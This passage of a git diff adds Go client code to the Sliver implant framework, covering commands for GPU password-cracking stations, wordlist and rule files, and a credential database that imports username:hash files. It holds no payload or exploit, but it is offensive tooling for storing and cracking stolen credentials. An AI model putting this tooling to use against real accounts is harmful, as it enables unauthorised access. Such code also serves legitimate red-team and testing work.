+// CrackWordlistsRmCmd - Manage GPU cracking stations.
+func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	var wordlistName string
+	if len(args) > 0 {
+		wordlistName = args[0]
+	}
+	if wordlistName == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, wordlist := range wordlists.Files {
+		if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed wordlist: %s\n", wordlistName)
+	} else {
+		con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
+	}
+}
+
+// CrackRulesRmCmd - Manage GPU cracking stations.
+func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	var rulesName string
+	if len(args) > 0 {
+		rulesName = args[0]
+	}
+	if rulesName == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, rulesFile := range rules.Files {
+		if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed rules: %s\n", rulesName)
+	} else {
+		con.PrintErrorf("Rules not found: %s\n", rulesName)
+	}
+}
+
+// CrackHcstat2RmCmd - remove a hcstat2 file.
+func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	var hcstat2Name string
+	if len(args) > 0 {
+		hcstat2Name = args[0]
+	}
+	if hcstat2Name == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, hcstat2File := range hcstat2s.Files {
+		if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
+	} else {
+		con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
+	}
+}
@@ -0,0 +1,148 @@
+package crack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"sort"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// CrackCmd - GPU password cracking interface
+func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	if !AreCrackersOnline(con) {
+		PrintNoCrackstations(con)
+	} else {
+		crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
+	}
+	crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(crackFiles.Files) == 0 {
+		con.PrintInfof("No crack files uploaded to server\n")
+	} else {
+		con.Println()
+		PrintCrackFilesByType(crackFiles, con)
+	}
+}
+
+// CrackStationsCmd - Manage GPU cracking stations
+func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(crackers.Crackstations) == 0 {
+		PrintNoCrackstations(con)
+	} else {
+		PrintCrackers(crackers.Crackstations, con)
+	}
+}
+
+func PrintNoCrackstations(con *console.SliverClient) {
+	con.PrintInfof("No crackstations connected to server\n")
+}
+
+func AreCrackersOnline(con *console.SliverClient) bool {
+	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return false
+	}
+	return len(crackers.Crackstations) > 0
+}
+
+func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
+	sort.Slice(crackers, func(i, j int) bool {
+		return crackers[i].Name < crackers[j].Name
+	})
+	for index, cracker := range crackers {
+		printCracker(cracker, index, con)
+		if index < len(crackers)-1 {
+			con.Println()
+			con.Println()
+		}
+	}
+}
+
+func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
+	tw.AppendSeparator()
+	tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
+	tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
+	if 0 < len(cracker.CUDA) {
+		for _, cuda := range cracker.CUDA {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
+		}
+	}
+	if 0 < len(cracker.Metal) {
+		for _, metal := range cracker.Metal {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
+		}
+	}
+	if 0 < len(cracker.OpenCL) {
+		for _, openCL := range cracker.OpenCL {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
+		}
+	}
+	con.Printf("%s\n", tw.Render())
+	con.Println()
+	printBenchmarks(cracker, con)
+}
+
+func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
+	tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
+	tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
+	for hashType, speed := range cracker.Benchmarks {
+		tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
+	}
+	con.Printf("%s\n", tw.Render())
+}
@@ -0,0 +1,110 @@
+package crack
+
+import (
+	"context"
+	"fmt"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/rsteube/carapace"
+)
+
+func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
+		}
+
+		results := make([]string, 0)
+
+		for _, file := range hcstat2.Files {
+			if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
+				continue
+			}
+
+			results = append(results, file.Name)
+			desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
+	})
+}
+
+func CrackWordlistCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
+		}
+
+		results := make([]string, 0)
+
+		for _, file := range hcstat2.Files {
+			if file.Type != clientpb.CrackFileType_WORDLIST {
+				continue
+			}
+
+			results = append(results, file.Name)
+			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
+			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
+	})
+}
+
+func CrackRulesCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
+		}
+
+		results := make([]string, 0)
+
+		for _, file := range hcstat2.Files {
+			if file.Type != clientpb.CrackFileType_RULES {
+				continue
+			}
+
+			results = append(results, file.Name)
+			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
+			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
+	})
+}
+
+func byteCountSI(b int64) string {
+	const unit = 1000
+	if b < unit {
+		return fmt.Sprintf("%d B", b)
+	}
+	div, exp := int64(unit), 0
+	for n := b / unit; n >= unit; n /= unit {
+		div *= unit
+		exp++
+	}
+	return fmt.Sprintf("%.1f %cB",
+		float64(b)/float64(div), "kMGTPE"[exp])
+}
+
+func byteCountIEC(b int64) string {
+	const unit = 1024
+	if b < unit {
+		return fmt.Sprintf("%d B", b)
+	}
+	div, exp := int64(unit), 0
+	for n := b / unit; n >= unit; n /= unit {
+		div *= unit
+		exp++
+	}
+	return fmt.Sprintf("%.1f %ciB",
+		float64(b)/float64(div), "KMGTPE"[exp])
+}
@@ -0,0 +1,213 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"os"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/spf13/cobra"
+)
+
+const (
+	UserColonHashNewlineFormat = "user:hash" // username:hash\n
+	HashNewlineFormat          = "hash"      // hash\n
+	CSVFormat                  = "csv"       // username,hash\n
+)
+
+// CredsCmd - Add new credentials.
+func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	collection, _ := cmd.Flags().GetString("collection")
+	username, _ := cmd.Flags().GetString("username")
+	plaintext, _ := cmd.Flags().GetString("plaintext")
+	hash, _ := cmd.Flags().GetString("hash")
+	hashTypeF, _ := cmd.Flags().GetString("hash-type")
+	hashType := parseHashTypeString(hashTypeF)
+	if plaintext == "" && hash == "" {
+		con.PrintErrorf("Either a plaintext or a hash must be provided\n")
+		return
+	}
+	if hashType == clientpb.HashType_INVALID {
+		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
+		return
+	}
+	_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
+		Credentials: []*clientpb.Credential{
+			{
+				Collection: collection,
+				Username:   username,
+				Plaintext:  plaintext,
+				Hash:       hash,
+				HashType:   hashType,
+			},
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+// CredsCmd - Add new credentials.
+func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	collection, _ := cmd.Flags().GetString("collection")
+	filePath := args[0]
+	fileFormat, _ := cmd.Flags().GetString("file-format")
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		con.PrintErrorf("File '%s' does not exist\n", filePath)
+		return
+	}
+	hashTypeF, _ := cmd.Flags().GetString("hash-type")
+	hashType := parseHashTypeString(hashTypeF)
+	if hashType == clientpb.HashType_INVALID {
+		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
+		return
+	}
+
+	con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
+	var creds *clientpb.Credentials
+	var err error
+	switch fileFormat {
+	case UserColonHashNewlineFormat:
+		creds, err = parseUserColonHashNewline(filePath, hashType)
+	case HashNewlineFormat:
+		creds, err = parseHashNewline(filePath, hashType)
+	case CSVFormat:
+		creds, err = parseCSV(filePath, hashType)
+	default:
+		con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
+		return
+	}
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	for _, cred := range creds.Credentials {
+		cred.Collection = collection
+	}
+	con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
+	_, err = con.Rpc.CredsAdd(context.Background(), creds)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+func parseHashType(raw string) clientpb.HashType {
+	hashInt, err := strconv.Atoi(raw)
+	if err == nil {
+		return clientpb.HashType(hashInt)
+	}
+	return clientpb.HashType_INVALID
+}
+
+// same as parseHashType, but use the string representation.
+func parseHashTypeString(raw string) clientpb.HashType {
+	if hashType, valid := clientpb.HashType_value[raw]; valid {
+		return clientpb.HashType(hashType)
+	}
+
+	return clientpb.HashType_INVALID
+}
+
+func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	for scanner.Scan() {
+		line := scanner.Text()
+		parts := strings.Split(line, ":")
+		if len(parts) != 2 {
+			continue
+		}
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Username: parts[0],
+			Hash:     parts[1],
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
+
+func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	for scanner.Scan() {
+		line := scanner.Text()
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Hash:     line,
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
+
+func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	scanner.Scan() // skip header
+	for scanner.Scan() {
+		line := scanner.Text()
+		parts := strings.Split(line, ",")
+		if len(parts) < 2 {
+			continue
+		}
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Username: parts[0],
+			Hash:     parts[1],
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
@@ -0,0 +1,82 @@
+package creds
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	credsCmd := &cobra.Command{
+		Use:     consts.CredsStr,
+		Short:   "Manage the database of credentials",
+		Long:    help.GetHelpFor([]string{consts.CredsStr}),
+		GroupID: consts.GenericHelpGroup,
+		Run: func(cmd *cobra.Command, args []string) {
+			CredsCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) {
+		f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	credsAddCmd := &cobra.Command{
+		Use:   consts.AddStr,
+		Short: "Add a credential to the database",
+		Long:  help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CredsAddCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) {
+		f.StringP("collection", "c", "", "name of collection")
+		f.StringP("username", "u", "", "username for the credential")
+		f.StringP("plaintext", "p", "", "plaintext for the credential")
+		f.StringP("hash", "P", "", "hash of the credential")
+		f.StringP("hash-type", "H", "", "hash type of the credential")
+	})
+	flags.BindFlagCompletions(credsAddCmd, func(comp *carapace.ActionMap) {
+		(*comp)["hash-type"] = CredsHashTypeCompleter(con)
+	})
+	credsCmd.AddCommand(credsAddCmd)
+
+	credsAddFileCmd := &cobra.Command{
+		Use:   consts.FileStr,
+		Short: "Add a credential to the database",
+		Long:  help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			CredsAddHashFileCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) {
+		f.StringP("collection", "c", "", "name of collection")
+		f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file")
+		f.StringP("hash-type", "H", "", "hash type of the credential")
+	})
+	flags.BindFlagCompletions(credsAddFileCmd, func(comp *carapace.ActionMap) {
+		(*comp)["collection"] = CredsCollectionCompleter(con)
+		(*comp)["file-format"] = CredsHashFileFormatCompleter(con)
+		(*comp)["hash-type"] = CredsHashTypeCompleter(con)
+	})
+	carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
+	credsAddCmd.AddCommand(credsAddFileCmd)
+
+	credsRmCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove a credential to the database",
+		Long:  help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CredsRmCmd(cmd, con, args)
+		},
+	}
+	carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)"))
+	credsCmd.AddCommand(credsRmCmd)
+
+	return []*cobra.Command{credsCmd}
+}
@@ -0,0 +1,181 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+)
+
+// CredsCmd - Manage credentials.
+func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(creds.Credentials) == 0 {
+		con.PrintInfof("No credentials 🙁\n")
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) {
+	collections := make(map[string][]*clientpb.Credential)
+	for _, cred := range creds {
+		collections[cred.Collection] = append(collections[cred.Collection], cred)
+	}
+	for collection, creds := range collections {
+		printCollection(collection, creds, con)
+		con.Println()
+	}
+}
+
+func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	if collection != "" {
+		tw.SetTitle(console.Bold + collection + console.Normal)
+	} else {
+		tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
+	}
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Username",
+		"Plaintext",
+		"Hash",
+		"Hash Type",
+		"Cracked",
+	})
+	for _, cred := range creds {
+		tw.AppendRow(table.Row{
+			strings.Split(cred.ID, "-")[0],
+			cred.Username,
+			cred.Plaintext,
+			cred.Hash,
+			cred.HashType,
+			cred.IsCracked,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+// CredsHashTypeCompleter completes hash types.
+func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := make([]string, 0)
+
+		for hashType, desc := range hashTypes {
+			results = append(results, hashType)
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("hash types")
+	})
+}
+
+// CredsHashFileFormatCompleter completes file formats for hash-files.
+func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionValuesDescribed(
+		UserColonHashNewlineFormat, "One hash per line.",
+		HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
+		CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
+	).Tag("hash file formats")
+}
+
+// CredsCollectionCompleter completes existing creds collection names.
+func CredsCollectionCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := make([]string, 0)
+
+		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
+		}
+		if len(creds.Credentials) == 0 {
+			return carapace.Action{}
+		}
+
+		for _, cred := range creds.Credentials {
+			if cred.Collection != "" {
+				results = append(results, cred.Collection)
+			}
+		}
+
+		return carapace.ActionValues(results...).Tag("creds collections")
+	})
+}
+
+// CredsCredentialIDCompleter completes credential IDs.
+func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := make([]string, 0)
+
+		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
+		}
+		if len(creds.Credentials) == 0 {
+			return carapace.Action{}
+		}
+
+		for _, cred := range creds.Credentials {
+			results = append(results, cred.ID)
+
+			var hostID string
+			if cred.OriginHostUUID != "" {
+				if len(cred.OriginHostUUID) > 8 {
+					hostID = cred.OriginHostUUID[8:]
+				} else {
+					hostID = cred.OriginHostUUID
+				}
+			} else {
+				hostID = "None"
+			}
+
+			var username string
+			if cred.Username != "" {
+				username = fmt.Sprintf(" (user: %s)", cred.Username)
+			}
+
+			var cracked string
+			if cred.IsCracked {
+				cracked = "[C]"
+			} else {
+				cracked = "[ ]"
+			}
+
+			desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
+			results = append(results, desc)
+
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("credentials")
+	})
+}
@@ -0,0 +1,143 @@
+package creds
+
+// List of all available hash-types, for completions.
+// Unfortunately this list has to be maintained manually,
+// until someone devises a way to do so automatically.
+var hashTypes = map[string]string{
+	"MD5": "MD5", // Enum 0 in proto file.
+
+	"MD4":                   "MD4",
+	"SHA1":                  "SHA1",
+	"SHA2_224":              "SHA2-224",
+	"SHA2_256":              "SHA2-256",
+	"SHA2_384":              "SHA2-384",
+	"SHA2_512":              "SHA2-512",
+	"SHA3_224":              "SHA3-224",
+	"SHA3_256":              "SHA3-256",
+	"SHA3_384":              "SHA3-384",
+	"SHA3_512":              "SHA3-512",
+	"RIPEMD_160":            "RIPEMD-160",
+	"BLAKE2B_256":           "BLAKE2b-512",
+	"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
+	"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
+	"GOST_R_34_11_94":       "GOST R 34.11-94",
+	"GPG":                   "GPG (AES-128/AES-256 (SHA-1($pass)))",
+	"HALF_MD5":              "Half MD5",
+	"KECCAK_224":            "Keccak-224",
+	"KECCAK_256":            "Keccak-256",
+	"KECCAK_384":            "Keccak-384",
+	"KECCAK_512":            "Keccak-512",
+	"WHIRLPOOL":             "Whirlpool",
+	"SIPHASH":               "SipHash",
+	"MD5_UTF16LE":           "md5(utf16le($pass))",
+	"SHA1_UTF16LE":          "sha1(utf16le($pass))",
+	"SHA256_UTF16LE":        "sha256(utf16le($pass))",
+	"SHA384_UTF16LE":        "sha384(utf16le($pass))",
+	"SHA512_UTF16LE":        "sha512(utf16le($pass))",
+	"BLAKE2B_512_PW_SALT":   "BLAKE2b-512($pass.$salt)",
+	"BLAKE2B_512_SALT_PW":   "BLAKE2b-512($salt.$pass)",
+	"MD5_PW_SALT":           "md5($pass.$salt)",
+	"MD5_SALT_PW":           "md5($salt.$pass)",
+	"MD5_SALT_PW_SALT":      "md5($salt.$pass.$salt)",
+	"MD5_SALT_MD5_PW":       "md5($salt.md5($pass))",
+
+	// ... TODO fill in the rest ...,
+
+	"CRC32":                        "CRC32",
+	"CRC32C":                       "CRC32B",
+	"CRC64Jones":                   "CRC64-Jones",
+	"JAVA_OBJECT":                  "Java object",
+	"MURMUR":                       "MurmurHash",
+	"MURMUR3":                      "MurmurHash3",
+	"THREE_DES":                    "3DES (PT = $salt, key = $pass)",
+	"DES":                          "DES (PT = $salt, key = $pass)",
+	"AES_128_ECB":                  "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
+	"AES_192_ECB":                  "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
+	"AES_256_ECB":                  "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
+	"CHA_CHA_20":                   "ChaCha20",
+	"LINUX_KERNEL_CRYPTO_API_24":   "Linux Kernel Crypto API (2.4)",
+	"SKIP_32":                      "Skip32 (PT = $salt, key = $pass)",
+	"PBKDF2_HMAC_MD5":              "PBKDF2-HMAC-MD5",
